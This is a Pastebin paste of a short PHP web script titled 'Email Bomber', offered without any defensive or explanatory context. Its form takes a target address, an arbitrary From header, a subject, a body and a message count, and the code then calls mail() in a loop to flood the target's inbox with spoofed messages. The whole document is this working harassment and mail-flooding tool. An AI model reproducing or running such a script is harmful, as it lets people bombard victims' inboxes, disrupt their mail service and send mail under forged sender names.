Advertisement
Guest User

Email Bomber By Grey Clark

a guest
Feb 18th, 2019
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. <?php
  2.  
  3. if(isset($_POST['to']) && isset($_POST['from']) && isset($_POST['sub']) && isset($_POST['body']) && isset($_POST['no']) && isset($_POST['submit'])){
  4.  
  5. $to = $_POST['to'];
  6. $from = $_POST['from'];
  7. $sub = $_POST['sub'];
  8. $body = $_POST['body'];
  9. $number= $_POST['no'];
  10. $headers = "From: $from";
  11. $count = 0;
  12.  
  13. while($count<=$number){
  14. mail($to,$sub,$body,$headers);
  15. echo "<h1>Mail Sent Successfull</h1>";
  16. $count++;
  17. }
  18.  
  19. }
  20.  
  21. ?>
  22.  
  23. <!DOCTYPE html>
  24. <head>
  25. <title>Email Bomber By Grey Clark</title>
  26. </head>
  27. <body>
  28. <form action="" method="post">
  29. <input type="text" placeholder="To" name="to"><br>
  30. <input type="text" placeholder="From" name="from"><br>
  31. <input type="text" placeholder="Number Of Mail" name="no"><br>
  32. <input type="text" placeholder="Subject" name="sub"><br>
  33. <textarea name="body" placeholder="Body">Your Text</textarea><br>
  34. <input type="submit" value="Sent" name="submit"><br>
  35. </body>
  36. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement